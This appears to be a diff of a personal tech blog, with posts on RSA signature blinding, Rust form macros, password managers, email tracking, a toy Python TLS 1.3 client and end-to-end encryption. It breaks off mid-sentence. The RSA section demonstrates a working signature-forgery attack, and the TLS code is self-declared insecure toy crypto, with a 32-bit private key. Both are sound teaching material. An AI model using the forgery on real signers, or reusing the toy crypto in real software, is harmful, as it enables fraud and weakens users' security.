b'7\x90\xbc\xf9%T\xa9\xee\xf4\xe3?>]\x88\xcd\xb4\xd6D#\xfc\xcb\x0fd\xf0\x8e\xbc>\n\x06\xcd\x0f\x89\x0bp\xa7o\xd6\x02\xa6\xa7\x81\xd8\n\xae\xfb\x08\xaa|\xbd.\xc9E\xf1|\x86\xcaZ\xaa\xd4L\xafaA\x0c}\x84\x04\n\xa4\xa5\x80\xecX<\xe0\xb5\xf6\xfb\xe3\xcc\xd5BD7\xdc\xaep\x7f\xe9vi\xabB\xe2\xadE\xa41K\xc6\xb7\xae\x01\xcb\x04C\xaf\x8b\x17\x83\xffX7z\xb1\xbf\xceF\xafN(x\x00\x9f\xe1kV\xee\x0b\xbd\xc3H\r\xee9\x81\x16\xb2\x10hb.\x90\x08\xe42$Q\x92Ew+\xe1@\xf9\x17%\xce/\xbd\x00\xad\xe2\x12\x01\x93\x8b\xc4\x1bx\xe6H?\x15\xdfPE@\xf9j\xe3\xb7\x9e\xa0\x86\xd1\xd3\xb6[\xf7q\xf1\x95N\xd3>/\x06\x80\xc7\xa3\x8a\xcbDy\xc6v\x01P\x14\xa9Be\xf7~p\xc5\xaa\xac\xa0\xaf\xbe#\xe5\x18\xc6\x1d\xd5\x14\xc1\xbbYXD\x0c\x91{\xc0s\xde]\x18Z\x8bSk\x07k\xb6\x9a\xa5`Iqe~'
```
Now he asks Bob to sign this more... innocently-looking message. Without
questioning, Bob, an intellectual, signs his life away. Let's say he produces a
signature
$$
\begin{aligned}
S' &= (M'^d) \\\
&= (r^e * M)^d \\\
&= r^{ed} * M^d \\\
&= r * M^d \mod N
\end{aligned}
$$
```py
>>> Sp, = bob.sign(Mp, 0)
4222298342813922437811434251340999736739055616654488323193778229765071846717137952694561809398626068283668428796351354154566771597532278827070832905206221261994843265685464173739776886856384806238418884247949451413559988796455422271296883338455956330421559319009950760931899199217936823999874162064553735563087382870564193673989865778229832918474778963380170967676966373703157629615331081637805594392084045827925764529711433584853942576464491576212176547485726609891593617931393545058401472883178443786988683045423150809606471425615670582973274971087459634959553685559458456237617436410759134193279063427911112115134
```
Now, all Marvin has to do is multiply by the modular inverse of $r$, to obtain
$M^d$, the signature of the original message:
```py
>>> S = (Sp * modinv(r, N)) % N
6137678992536399703654836416525985142902780822513172949427421060785532284955531529418529725602418902796840570634560123808769013384654624916503940938715718120521434666716675795201896105310462331838807171312705686415521871046533303776516500490921892398440988515777575520183847518597482163414665355222659603386541869176930658730416118799866012276767364050134126722746224706026850062367243018313483359694686773566231956425606553198607719740067340776177716443517567144901614253170719278035838849363127850910135864099535083004590180745762100334268408681888925040382341592080592207557742366581814701422371311084081150092871
```
Sure enough, if you try to verify the "original" signature against the original
message, it checks out.
```py
>>> bob.verify(M, (S,))
True
```
Marvin has now successfully tricked Bob into signing his life away.
This post is a work in progress.. I'll update it as I add more.
[1]: https://crypto.stanford.edu/~dabo/papers/RSA-survey.pdf
[2]: http://factordb.com/
[3]: https://stackoverflow.com/a/9758173
[4]: https://github.com/dlitz/pycrypto
[5]: https://www.dlitz.net/software/pycrypto/api/current/Crypto.PublicKey.RSA.RSAImplementation-class.html#construct
[6]: https://crypto.stackexchange.com/a/14713
[7]: https://github.com/radii/msieve

View file

@ -0,0 +1,90 @@
---
title: "Magic forms with proc macros: Ideas"
date: 2019-02-01
tags: ["computers", "web"]
languages: ["rust"]
---
Procedural macros (proc macros for short) in Rust are incredible because they allow arbitrary pre-compile source transformation, which leads to endless possibilities (and hazards!). But if we take careful advantage of this feature, we can use it to make clean abstractions for messy boilerplate, especially in the case of web forms. <!--more-->
In fact, proc macros are incredibly pervasive around Rust's ecosystem. For example, using the [`serde`][1] serialization/deserialization crate, you can simply write:
```rs
#[derive(Serialize)]
struct Foo {
bar: String,
}
```
and code will be generated to serialize and deserialize to a multitude of formats including JSON, YAML, CBOR, etc.
It occurred to me that this feature can also be useful for generating code for rendering and validating forms (as in a place where you fill out info). **wtforms** is one of the nicest Python packages for handling form behavior in web applications, and with the power of proc macros, this functionality can be easily achieved in Rust as well.
In this post I'm going to outline some of the ideas I have for a wtforms-ish library for handling forms in Rust.
## Code generation
Ideally, we should be able to use this library like this:
```rs
#[derive(Form)]
struct RegisterForm {
#[validators(email, custom("not_taken"))]
id: Email,
#[validators(required, length(4, 12))]
name: String,
#[validators(required, length(8, 128))]
pass: Password,
}
```
What this would do is add a couple more functions to our form class. Firstly, I'd like to render an HTML version of the above form. Calling something like `RegisterForm::html()` should produce the following HTML (prettified here for convenience):
```html
<form>
<input type="email" name="id" />
<input type="text" name="name" />
<input type="password" name="pass" />
<input type="submit" />
</form>
```
If we were to want to customize our form in any way, for example, adding more attributes to the elements, we would just attach that as a separate attribute onto the field:
```rs
#[validators(required, length(4, 12))]
#[attrs = "autocomplete=off"]
name: String,
```
This should generate the following HTML:
```html
<input type="text" name="name" autocomplete="off" />
```
I realize this is probably not very flexible, since you'd really only be able to use this form in a specific context. But in reality, how much do you really lose by redefining that form?
## Validation
You've already seen the `validators` attribute used above. This defines a set of validators that we'd like to verify the form against. Suppose you receive an instance of the form that looks like (in pseudo-y Rust):
```rs
let instance = RegisterForm {
id: Email("michael@example.com"),
name: "michael",
pass: Password("pass"),
}
```
then calling something like `instance.verify()` should run all those validators we've defined on the fields and return a list of errors that go along with each of the fields. For this instance, for example, we should at least get an error that states that the password provided was way too short.
## Other interesting features
- If a form fails during validation, the user is presented with the errors and a chance to retry the form. At this point, the HTML generated should fill in the values for the fields that passed the validation so the user doesn't have to fill it out again. You see this behavior on web forms sometimes.
## Conclusion
This project is a work in progress! You can see how far I am [on Github](https://github.com/iptq/wtforms).
[1]: https://docs.rs/serde

View file

@ -0,0 +1,20 @@
---
title: "Accept server analogy"
date: 2019-03-04
tags: ["computers"]
---
This is just a stupid analogy I thought of recently, but decided to write about it anyway.
If you think about it, a server waiting for clients is kind of like the host at the front of a restaurant leading guests to tables. They don't actually take orders or serve food, they just stand at the front and wait for new guests to arrive. Then there's another waiter that's specifically assigned to take that table's orders.
When a server binds to, for example, `localhost:3000`, what the server really gets is a file descriptor; this is what's meant by:
```c
int socket(int domain, int type, int protocol);
int bind(int socket, const struct sockaddr *address, socklen_t address_len);
```
The `listen` library call then marks this socket as one that's open for connections, similar to marking the restaurant staff as a host rather than a waiter.
According to the manpage for `accept`, when a connection-mode socket accepts a connection, it'll "extract the first connection on the queue of pending connections, create a new socket with the same socket type protocol and address family as the specified socket, and allocate a new file descriptor for that socket." This new socket would be the waiter who actually takes your orders.

View file

@ -0,0 +1,42 @@
---
title: "Password managers"
date: 2020-04-01
tags: ["computers", "things-that-are-good", "privacy"]
---
Password managers are programs that store passwords for you. With the number of accounts you keep on the web, you generally don't want to store all of them in your head. If you want to see articles on why you should use a password manager NOW, search "reasons to use a password manager" online and any of the articles you find should explain it. Here I'll add some more commentary on top of the traditional arguments.
<!-- more -->
## Don't tick the "Remember master password box" no matter what
How well you remember a password depends on how much you use it. If you open an account, make a password, and stay signed in for a year without ever having to re-login, you'll naturally forget the password. Same deal with password managers; the problem has just been moved another step.
The power of a password manager comes from you continually entering in the same password over and over in order to unlock your other accounts.
## Password managers are good for a lot more than passwords
If you're willing to put sensitive passwords into your password manager, it should be a perfect place to put information that you'd want to avoid writing down in plaintext but want to access easily. This might include:
- Backup / recovery codes
- Your bank account number
- Your car's license plate number
- Answers to security questions, which leads into the next point:
## Treat your security questions as passwords
Save these in your password manager! "Security" questions are probably the worst idea for security and are more likely to weaken the security of your account than strengthen it. They have multiple fatal flaws (assuming you use security questions truthfully):
- People can find out simple information about you through social engineering (favorite color, mother's maiden name, schools, etc.)
- The answers to these questions aren't likely to change, and some can't be changed at will (in the case of a security problem, for example)
- You probably won't even remember the exact format you typed in the answer, so if there's any fuzzy matching, it means the answers aren't hashed and salted to the same degree as passwords.
Instead, just treat them as another password! Go into your password manager, generate the longest possible random password that fits into the box, and save it. Since you can give a name to the password, there's no worry of forgetting it or losing it, since it'll be stored among the vault of other passwords that you're hopefully using every day.
## Don't trust extensions that fill in your password automatically
Some password managers, like LastPass, have browser extensions that automatically fill in password boxes when you open the page.
**Always turn this off, if possible. Prefer to look up the password and copy it in.**
Once the extension copies the password into the page, it's fair game for any other JavaScript running on the page to grab your password. Not only that, there have been multiple reported vulnerabilities related to the LastPass extension mistakenly copying in a password because it couldn't correctly match the domain of the page to the domain of the password. Additionally, it doesn't work well if you have multiple passwords saved to the page, like if you have security questions saved to the page.

View file

@ -0,0 +1,101 @@
---
title: "Tracking links in email"
date: 2021-06-17
tags: ["email", "computers", "things-that-are-bad", "privacy"]
---
You probably get emails every day, and spend a lot of time reading them. And
whenever someone performs an action or does something in vast quantities, you
_bet_ the data giants have figured out a way to capitalize on it. For many
years consumer privacy has basically gone unnoticed, and invasive tracking has
grown [viral][1]. <!--more-->
Arguably, if you are someone who runs a business off of writing periodic
newsletters that are distributed via email, you might want some statistics on
how your newsletter is doing. Traditionally, this is achieved **actively**
through some kind of survey with some kind of incentive, like "tell us how
we're doing for a chance to win a water bottle".
Now emails are typically imbued with **passive** trackers either in the form of
[tracking pixels][3] (which informs the sender when the receipient opens the
email) and [tracking links][4] (which informs the sender when AND what links
receipients click). Tracking pixels are usually less relevant these days since
many web-based email clients will ask before loading images, and clients run by
mail servers with an enormous number of users like Gmail ([and soon iOS][5])
may proxy the pixels ahead of time so the senders only see the IPs and metadata
of the server.
Tracking links, on the other hand, have become much more invasive, to the point
where it's impossible to avoid being tracked. You see it all over the web:
whenever you open a link, there's almost always some kind of `?ref=xxxxx` code
stuck onto the end that identifies _your_ particular instance of it. This way,
if you share the link with a friend, they just used the same code, and your
connection to your friend is traced by the website owner.
> If this creeps you out, consider using a browser extension like
> [ClearURLs][6], which recognizes these URL parameters that do nothing but
> feed information to the website owners and removes it for you.
But email tracking links are even worse: they abuse redirects to obfuscate the
original URL entirely. For instance, you'd get links in your email that look
like:
```
https://some.mail.host/lWOrjb9FXYgMDS0DADOsxAZEFPB99gHzmRQTe6OHBws=
```
Where does it go? Wikipedia? Piratebay? There's only one way to find out: by
making a request to that server, giving up information about the time, place,
client, OS, and all sorts of other information that greedy data collection
companies are waiting to snatch up.
Of course, regular users notice nothing: these links are usually hidden behind
buttons, text, or even the original URL itself. Once they click it, the website
silently logs all the data it receives about the user, and then redirects the
user to the original destination.
The senders usually aren't at fault either. Sending email is tricky, with all
the infrastructure set up to block out spam, so the majority of people who send
bulk mail (newsletters, websites that need to confirm your email, etc.) all go
through companies that handle this for them. Of course, being the middlemen who
actually get the mail out the door, they're free to replace the links with
whatever they want, and many of these companies advertise it as a feature to
get more "insight" into how your emails are doing.
Even worse, the original senders aren't the only ones getting the info, either.
These middlemen could hold on to the data and there's no saying they can't use
it for other purposes or sell it.
Unfortunately, sending email isn't really going to get any easier, partly
because of the way email fundamentally works: without all of the security
infrastructure in place, running your own email server could easily lead to
abuse. Most people (justifiably) would not go through all that effort
themselves.
Another possible avenue of thinking is to do what large mail companies did to
oppose tracking pixels, where they would act as a mass-proxy for the links,
opening them when they receive it, and transparently replace the unfiltered
link back into the email so the user's device and location aren't revealed. But
this raises its own issues: for example, what if the act of opening the
original link performs some kind of action (e.g. click to subscribe, click to
register, etc.)? Also, this solution only works for email that is not
end-to-end encrypted. For end-to-end encrypted mail providers, there is no way
to do this.
The only real solution here is regulation via either advancement in
privacy-related open standards or legislature. It's clear that without any kind
of regulation, companies will continue to act in the interests of profit rather
than the protection of their customers.
> Devil's advocate afterthought: should this problem even be solved? Maybe
> there's a benefit to this whole tracking thing. My opinion on this is if you
> _really_ want to develop a community of readers, offer an easy way to give
> feedback (or even go back to the incentive surveys), and if people aren't
> giving feedback, then that itself is a reflection of the state of your
> readers.
[1]: https://www.wired.com/story/how-email-open-tracking-quietly-took-over-the-web/
[3]: https://en.wikipedia.org/wiki/Web_beacon
[4]: https://en.wikipedia.org/wiki/Click_tracking
[5]: https://www.apple.com/newsroom/2021/06/apple-advances-its-privacy-leadership-with-ios-15-ipados-15-macos-monterey-and-watchos-8
[6]: https://gitlab.com/KevinRoebert/ClearUrls

View file

@ -0,0 +1,408 @@
---
title: "Sending https requests from scratch"
date: 2021-07-05
draft: true
toc: true
tags: ["computers", "web", "crypto"]
languages: ["python"]
---
Every now and then, I return to this age-old question of _exactly_ how hard would it be to write a web browser from scratch? I hear some interviewers ask their candidates to describe the process your browser takes to actually put a webpage on your screen, but no doubt that's a simplification of a process from 20 years ago. <!--more-->
Today, the specifications describing your browser's behavior [far exceeds 100 million words][4], and there's no sign of slowing. We are no longer just opening TCP sockets and sending `GET /path HTTP/1.0` anymore. That's why I decided to take some time and do some digging to see exactly how much it would take to send an HTTPS request from scratch, just like what the browser does, using as little existing tooling as I can.
> **Disclaimer:** This is a experiment for demonstration purposes. Do **NOT** use this code for any real software.
I'll be using Python for this since it's just for fun, the code will be pretty concise, and I don't have to write boilerplate outside of this post in order to make the code in it work. I'll try to stick to only using the Python 3 standard library as well, so not bringing in any external cryptography algorithms (the standard library provides `hashlib` tho). The downside here is the struct serialization and deserialization (using the [Python struct library][5]) gets a bit messy if you don't know how it works, but that information is all in the RFC anyway.
**&#x1f4a1; This is a literate document.** I wrote a [small utility][3] to extract the code blocks out of markdown files, and it should produce working example for this file. If you have the utility, then running the following should get you a copy of all the Python code extracted from this blog post:
```bash
curl -o https.md -s {{< docUrl >}}
markout -l py https.md > https.py
```
Otherwise, you can follow along and extract the code yourself as you read.
With that out of the way, let's jump in!
## URL Parsing
This part is basically just a chore. URLs are defined in [RFC 3986][1], but we'll cheat a bit and just get the important parts we want for sending a request. First, I'll write out a regex for actually matching the parts we want:
```py
import re
URL_PAT = re.compile(r"""
(?P<scheme>[A-Za-z]+) # scheme (http, https,...)
:// # divider
(?P<host>[A-Za-z\-\.]+) # hostname
(:(?P<port>[0-9]+))? # port
(/ # divider
(?P<path>[^?]*))? # path
""", flags = re.VERBOSE)
```
We'll say if a string doesn't match this regex, then we won't count it as a URL. The rest of this part is just writing some glue code turning this regex into a dictionary:
```py
def parse_url(s: str):
m = URL_PAT.match(s)
if m is None: raise Exception("bad url")
return m.groupdict()
u = parse_url("https://en.wikipedia.org")
# {'scheme': 'https', 'host': 'en.wikipedia.org', 'port': None, 'path': None}
```
## TLS
OK, now that we know where we're going to send the request, we should actually open a socket and talk to it. But before we want to send any data, we should _encrypt_ our communications. TLS is a protocol that conducts a brief handshake, then creates a tunnel where we can send data freely and it will be transparently encrypted before it goes over the wire. I haven't seen many example implementations of TLS out there (probably for a good reason), but without looking at actual code that works, it's hard to say I fully understand the protocol. So here I'll implement TLS 1.3 (defined in [RFC 8446][2]).
- Worth noting here that TLS uses big-endian format for numbers.
> **Second disclaimer:** hope I made it clear above but **THIS IS A TOY PROGRAM**. I'm about to roll my own crypto so do _not_ shove any of this code directly into a program if you value your safety. If you do plan on using this as a reference please get your code audited.
### Record Layer
TLS messages are sent in records, on top of TCP packets. This middle layer has its own header, described in section 5.1 of the RFC.
Not a big deal, it just means we'll want a helper function to actually send our packets through this record over the socket. The implementation is short, and looks pretty much exactly like the definition:
```py
import struct
def wrap_tls_record(ctype, rdata):
data = bytes()
data += struct.pack(">B", ctype) # content type encoded as a single byte
data += b"\x03\x03" # legacy_record_version, should just be 0x0303
data += struct.pack(">H", len(rdata)) # length of the data
data += rdata # finally, the record data itself
return data
```
### Handshake Layer
But before we can send the first message, we also have to write some glue code for the handshake layer! This layer describes all handshake messages, and can be found in appendix B.3 of the RFC.
Again, not too much code, just needs to be there. The annoying part of this is that the length is actually described with a `uint24`, which means it takes 3 bytes. Python's `struct` module doesn't actually have anything for this, so I'm just going to use the 4-byte unsigned option and chop off the first byte (remember, we are using big-endian encoding, so the MSB is the extra one).
```py
import struct
def wrap_handshake(htype, hdata):
data = bytes()
data += struct.pack(">B", htype) # handshake type encoded as a byte
data += struct.pack(">I", len(hdata))[1:] # length, encoded as 3 bytes!
data += hdata # and then the handshake data
return data
```
### Client Hello
TLS starts with the client sending a `ClientHello` message (defined in section 4.1.2 of the RFC), which basically starts the handshake off with some basic details about what the client can do. Now's probably a good time to decide on some basics, like which ciphers we'll be using to communicate.
#### Cipher Suite
In reality, encryption is mostly done at the hardware level, so browsers choose this based on what algorithms your hardware is fastest at. I pointed Firefox at Wikipedia and peeked into the connection details and it looks like I'm using AES-256-GCM with SHA-384, so I'll go with that. Let's see what byte sequence corresponds to these ciphers.
```
This specification defines the following cipher suites for use with
TLS 1.3.
+------------------------------+-------------+
| Description | Value |
+------------------------------+-------------+
| TLS_AES_128_GCM_SHA256 | {0x13,0x01} |
| TLS_AES_256_GCM_SHA384 | {0x13,0x02} | <-- this one
| TLS_CHACHA20_POLY1305_SHA256 | {0x13,0x03} |
| TLS_AES_128_CCM_SHA256 | {0x13,0x04} |
| TLS_AES_128_CCM_8_SHA256 | {0x13,0x05} |
+------------------------------+-------------+
```
Cool, this means the two numbers `0x13` and `0x02` correspond to the cipher suite we want to use.
#### Extensions
Ridiculously enough, it seems that TLS 1.3 keeps a lot of pre-1.3 fields in there, renaming them `legacy_`, and then putting new features in extensions. This may help forward compatibility, but also means that some extensions end up not being extensions at all, but required components of the protocol. (I suppose this helps them phase out certain headers in later updates without changing the general layout)
The extensions we'll need to support are listed in section 9.2 of the RFC. We'll only be sending the ones required during a `ClientHello`:
- supported_versions (required)
- signature_algorithms (required)
- key_share (required)
- server_name (required)
- application_layer_protocol_negotiation
What this means for our implementation is that for each of these we'll have to send a bit of information in the `ClientHello`. That's not too big of a deal; let's go through them one-by-one.
(Before I start, I have to warn you; there are a LOT of length-wrappers. Most of these seem unnecessary since we're using Python, but I expect these were designed with generalization in mind)
Supported versions is just what TLS 1.3 replaced the version header with; rather than saying up front that I want TLS 1.2, we have a general TLS framework for specifying extensions and then if I want to let the server know I can speak both TLS 1.2 and TLS 1.3, I'd put both versions into this extension.
```py
def ext_supported_versions():
versions = [b"\x03\x04"] # code number for TLS 1.3
versions = b"".join(map(lambda p: struct.pack(">B", len(p)) + p, versions))
return (struct.pack(">H", 43) # code number for supported_versions
+ struct.pack(">H", len(versions))
+ versions)
```
In TLS, clients have a pre-defined set of root authorities that it trusts, distributed by some trusted party like the OS or browser developers. These root authorities can then sign certificates for individual sites to prove to clients that they hold ownership over that domain. Clients can verify this proof cryptographically, using one of the signature algorithms we're going to to negotiate.
For this I looked at some of the ciphers my browser supports, and just picked one that seems to have wide support: `ecdsa_secp256r1_sha256`.
```py
def ext_signature_algorithms():
algos = [b"\x04\x03"] # ecdsa_secp256r1_sha256
sig_algos = b"".join(algos)
ext = struct.pack(">H", len(sig_algos)) + sig_algos # yeah...
return (struct.pack(">H", 13) # code number for signature_algorithms
+ struct.pack(">H", len(ext))
+ ext)
```
Key negotiation is an important step, letting us establish a shared secret between the client and server without explicitly sending it over the network. Typically for this step, a form of Diffie-Hellman Exchange is performed, but pre-sharing a symmetric key is also used.
Here we'll need to step a bit into the crypto. I'm going to choose elliptical-curve Diffie-Hellman ephemeral (ECDHE), which uses the elliptical curve operation to obscure keys as opposed to the original Diffie-Hellman which uses modular exponentiation. Cloudflare's blog has a [good introduction to elliptical curves][6].
What this means for us is we need to pick parameters for initiating this exchange. First we'll pick a named group in the `supported_groups` extension, then we'll have to send the parameters for that particular group in the `key_share` extension. I'm going to pick secp256r1, the same algorithm as the one above, so I only need to implement one algorithm.
supported_groups:
```py
def ext_supported_groups():
groups = [23] # secp256r1
groups = b"".join(map(lambda g: struct.pack(">H", g), groups))
ext = struct.pack(">H", len(groups)) + groups # yeah...
return (struct.pack(">H", 10) # code number for alpn
+ struct.pack(">H", len(ext))
+ ext)
```
key_share:
```py
def ext_key_share():
# hardcoding a fixed value here for now, we'll generate it later!
import binascii
x = b"\xf5\xddoi\xc8\x8c/#\x99\x8a\xaef\x8aWx\xacW,\xbad\x8d\x04\xac\x10\x05\xc2\x8f\x9bJ\x18\xf8."
y = b"\xfc}\x7f\xe0\x89\xb2YF\x0b\xc6\xb7\x00@\x04\xf6\x17Vl)V+\x18\xae\x157:o\xcc\x91\xf9\xaa#"
kex = b"\x04" + x + y
key_share = struct.pack(">H", 23) + struct.pack(">H", len(kex)) + kex
ext = struct.pack(">H", len(key_share)) + key_share
return (struct.pack(">H", 51) # code number for alpn
+ struct.pack(">H", len(ext))
+ ext)
```
Server name just lets the client tell the server what hostname it's expecting to connect to. The actual struct definitions here seem a bit over-the-top, but it's all in the name of future-proofing, right...?
```py
def ext_server_name(hostname: str):
sname = b"\x00" # code for hostname
sname += struct.pack(">H", len(hostname)) # length of hostname
sname += hostname.encode("utf-8")
ext = struct.pack(">H", len(sname)) + sname # yeah...
return (struct.pack(">H", 0) # code number for server_name
+ struct.pack(">H", len(ext))
+ ext)
```
Application layer protocol negotiation (ALPN) isn't technically required, but we'll put it there to force the server to send us HTTP2. The extension contents are just the list of names concatenated together.
```py
def ext_alpn():
protocols = [b"h2"] # http2, could also add http/1.1
alpn = b"".join(map(lambda p: struct.pack(">B", len(p)) + p, protocols))
ext = struct.pack(">H", len(alpn)) + alpn # yeah...
return (struct.pack(">H", 16) # code number for alpn
+ struct.pack(">H", len(ext))
+ ext)
```
Finally, let's combine all the functions above.
```py
def client_hello_extensions(hostname: str):
return b"".join([
ext_supported_versions(),
ext_signature_algorithms(),
ext_supported_groups(),
ext_key_share(),
ext_server_name(hostname),
ext_alpn(),
])
```
Extensions is the last piece of information we need to create the entire `ClientHello` message. Soon we'll be able to get the server to respond to us!
#### Putting the ClientHello message together
```py
import os
def client_hello(hostname: str):
data = bytes()
data += struct.pack(">H", 0x0303) # legacy version
data += os.urandom(32) # 32 bytes nonce generated from /dev/urandom
data += b"\x00" # won't be using legacy_session_id, so send a zero
data += (b"\x00\x02" # we are sending 2 cipher suites
+ b"\x13\x02") # the number for TLS_AES_256_GCM_SHA384
data += b"\x01\x00" # legacy_compression_methods
ext = client_hello_extensions(hostname)
data += struct.pack(">H", len(ext))
data += ext
return data
```
Let's send something to a server and see if that's what we want!
```py
import socket
def test_client_hello():
hostname = "en.wikipedia.org"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((hostname, 443))
# send client hello
ch = wrap_tls_record(22, wrap_handshake(1, client_hello(hostname)))
s.send(ch)
return s.recv(1024)
server_response = test_client_hello()
# b'\x16\x03\x03...'
assert server_response[0] == 0x16
```
If all went well, you should've received something with `\x16` as the first byte. That means the server sent a record with the content type `handshake(22)`. If you got `\x15`, it means you got an alert. In the next section we'll see how to interpret the server's response.
### Server Hello
The server hello is the response, where it tells us which ciphers and algorithms it chose, out of the ones we suggested. The code will look backwards from what we did above; instead of encoding a bunch of values, we'll read from what the server gives to us and interpret it instead.
#### Change Cipher Spec
Along with the Server Hello we'll also get a Change Cipher Spec record. According to the RFC, this is only in there for compatibility purposes, so we can safely ignore the one sent to us, but we'll also have to send a dummy Change Cipher Spec record as well.
```py
def change_cipher_spec():
return (b"\x14" # code number for change cipher spec
+ b"\x03\x03" # legacy protocol version
+ struct.pack(">H", 1) # length of change cipher spec message
+ b"\x01")
```
Piece of cake.
### Crypto
> This is the deep-dive into the cryptographic portions of the protocol. If you're not too interested by this part, just continue on to the HTTP section.
Let's walk through each of the ciphers and algorithms we're going to need one more time:
- `ecdsa_secp256r1_sha256`
- ECDSA is the elliptical-curve signature algorithm; basically it can sign some information using the elliptical-curve private key, and anyone can verify using the corresponding public key that the person who owns the key has created that signature.
- secp256r1 just gives the name of a set of established parameters for a curve.
- SHA256 is a hashing algorithm, which creates a unique fingerprint of a piece of information that can't be reversed back to the original. Python's `hashlib` library provides this function for us, so we don't have to implement it ourselves.
#### Naive Elliptical Curve Implementation
#### secp256r1
The curve is defined using the equation `y^2 = x^3 + ax + b mod p`.
```py
# https://hyperelliptic.org/EFD/g1p/auto-shortw.html
```
```py
import secrets
def ecdsa_keypair():
d = secrets.randbits(32)
Q = secp256r1.mul(secp256r1.G, d)
return (d, Q)
(d1, Q1) = ecdsa_keypair()
print("gen", d1, Q1)
def ecdsa_sign(d, z):
while True:
# generate a number k between 1 and n-1
k = secrets.randbelow(secp256r1.n - 1)
if k == 0: continue
p = secp256r1.mul(secp256r1.G, k)
r = p.x % secp256r1.n
if r == 0: continue
s = (pow(k, -1, secp256r1.n) * (z + r * d)) % secp256r1.n
if s == 0: continue
break
return (r, s)
(r1, s1) = ecdsa_sign(d1, 12345)
print("sign", r1, s1)
def ecdsa_verify(r, s, Q, z):
if not (r >= 1 and r < secp256r1.n and s >= 1 and s < secp256r1.n):
return False
sinv = pow(s, -1, secp256r1.n)
u1 = (z * sinv) % secp256r1.n
u2 = (r * sinv) % secp256r1.n
p = secp256r1.add(secp256r1.mul(secp256r1.G, u1), secp256r1.mul(Q, u2))
print(r)
print(p.x % secp256r1.n)
if r != p.x % secp256r1.n: return False
return True
res = ecdsa_verify(r1, s1, Q1, 12345)
print("res", res)
```
### Encrypted tunnel
Now we should be ready to communicate with the server through our encrypted tunnel. But we forgot to keep around our key negotiation parameters! How will we encrypt our communication? Let's go back and update these functions to let us keep the parameters, using the crypto functions we just defined.
The key sharing function:
```py
def ext_key_share(Q):
kex = b"\x04" + Q.x + Q.y
key_share = struct.pack(">H", 23) + struct.pack(">H", len(kex)) + kex
ext = struct.pack(">H", len(key_share)) + key_share
return (struct.pack(">H", 51) # code number for alpn
+ struct.pack(">H", len(ext))
+ ext)
```
Finally, the new `client_hello_extensions`:
```py
def client_hello_extensions(hostname: str):
d, Q = ecdsa_keypair()
data = b"".join([
ext_supported_versions(),
ext_signature_algorithms(),
ext_supported_groups(),
ext_key_share(Q),
ext_server_name(hostname),
ext_alpn(),
])
return (data, d, Q)
```
## HTTP 2
## `request`-like API
## Conclusion
What did we learn? Don't do this shit yourself, it's not worth it. We'll probably be on HTTP3 within the next year. Just import `requests` and be done with it.
[1]: https://datatracker.ietf.org/doc/html/rfc3986
[2]: https://datatracker.ietf.org/doc/html/rfc8446
[3]: https://git.mzhang.io/michael/markout
[4]: https://drewdevault.com/2020/03/18/Reckless-limitless-scope.html
[5]: https://docs.python.org/3/library/struct.html
[6]: https://blog.cloudflare.com/a-relatively-easy-to-understand-primer-on-elliptic-curve-cryptography/
[7]: https://datatracker.ietf.org/doc/html/rfc7748

View file

@ -0,0 +1,209 @@
---
title: "End-to-end encryption is useless without client freedom"
date: 2021-10-31
tags: ["computers", "privacy"]
---
Today, many companies claim to provide "end-to-end encryption" of user data,
whether it be text messages, saved pictures, or important documents. But what
does this actually mean for your data? I'll explain what "non-end-to-end"
encryption is, why end-to-end encryption is important, and also when it might
be absolutely meaningless.<!--more-->
> If you just want to read about end-to-end encryption, click [here][1].
> Otherwise, I'll start the story all the way back to how computers talk to
> each other.
## A game of telephone in a noisy room
Computer networks essentially operate like a bunch of people yelling at each
other at a public gathering, where everyone is kind of hearing everyone else's
messages, but only really paying attention to ones addressed to them. Let's say
I wanted to grab some Chipotle with my roommate. I'd yell "HEY NATHAN, WANNA GET
CHIPOTLE?" over this public network, where Nathan would see his name, identify
it as a message that is intended for him, and then reply accordingly. Notably,
everyone _else_ listening to the network also hears this, and knows that I'm
itching to get some Mexican food.
That's not even the worst part, because well... how does your computer connect
to the internet? Your router hears your computer's message, and passes it
through a series of middlemen, who all perform this broadcasting ritual through
some local network, until it gets to wherever your computer wanted to talk to in
the first place. But in order for the middlemen to pass on the message, they'd
have to hear the message, so now my lunch has become a public gathering known to
everyone who's heard or passed on the message.
## Encryption saves the day
That's where **encryption** comes in. Encryption lets me change the message to
something that the middlemen and everyone else listening on the network can't
understand, but the person that I actually wanted to send the message can turn
it back into the original. This way, I can be sure no one except Nathan got the
memo of where we were grabbing lunch.[^3]
So the way encryption's being used here is known as _transport_ encryption,
since I'm _sending_ a message somewhere. Transport encryption is standard
practice now through a technology called **transport-layer security**, or TLS,
which is used by almost everything that talks to the internet, your browser,
your email client, your phone. If it's not using TLS, it should be considered
insecure.
If you're thinking ahead, you might be thinking that the other place encryption
can be used is **encryption at rest**. This is for documents and pictures that
need to sit somewhere in storage for a while but shouldn't be visible to
everyone. Many businesses require that their employees' laptops use _full-disk_
encryption, so their data doesn't get compromised.
When you put these together, your data is actually pretty safe from prying
hands. If I put some tax documents on Google Drive, it'll use _transport_
encryption to make sure no one steals my identity while I'm sending it, and
encryption _at rest_ to make sure someone breaking into Google won't be able to
just pull the hard drive out and read the files off it.
## Two halves don't equal a whole
It turns out just putting together these two types of encryption isn't enough.
There's someone else we haven't protected ourselves against in this case, which
is the party responsible for decrypting the transported data and then
re-encrypting it at rest. Google can read all the documents I upload to Drive
after decrypting it from transit and before encrypting it to disk. Facebook can
read all the messages I send to my friends after decrypting it from transit and
before re-encrypting it to send to my friends.
And this is a lot smaller of a problem than it was before! Companies usually
have privacy policies to protect user data from being used against what they
expect, and many industries have laws like [HIPAA][hipaa] and [FERPA][ferpa] to
make sure the people handling your data don't leak it.
But we don't have to just _trust_ them on that, because we already _know_ how
to protect data from middlemen who are simply taking a message and sending it
somewhere else unchanged, like the ISPs from our networks. We just need _more_
encryption!
**End-to-end encryption** is just encrypting the data in a way that the only
parties allowed to read the data are the people it was intended for. Password
manager services like 1Password and Bitwarden use end-to-end encryption so that
they're not decrypting your passwords when you store them online, they're just
storing the encrypted data as-is, and then handing it back to your device which
then decrypts it offline. [Signal][signal] famously provides end-to-end
encrypted chat, so that no one, not even the government[^1], will be able to
read the messages you send if they're not the intended recipient.
## It's still not enough {#not-enough}
End-to-end encryption seems like it should be the end of the story, but if
there's one thing that can undermine the encryption, it's the program that's
actually performing the encryption. Cryptographic operations are usually handled
by clients, but unless you want to sit there adding points on an elliptic curve
in a finite field, that client is your device or your browser, not you.
The big problem here is how do you know your device is actually performing the
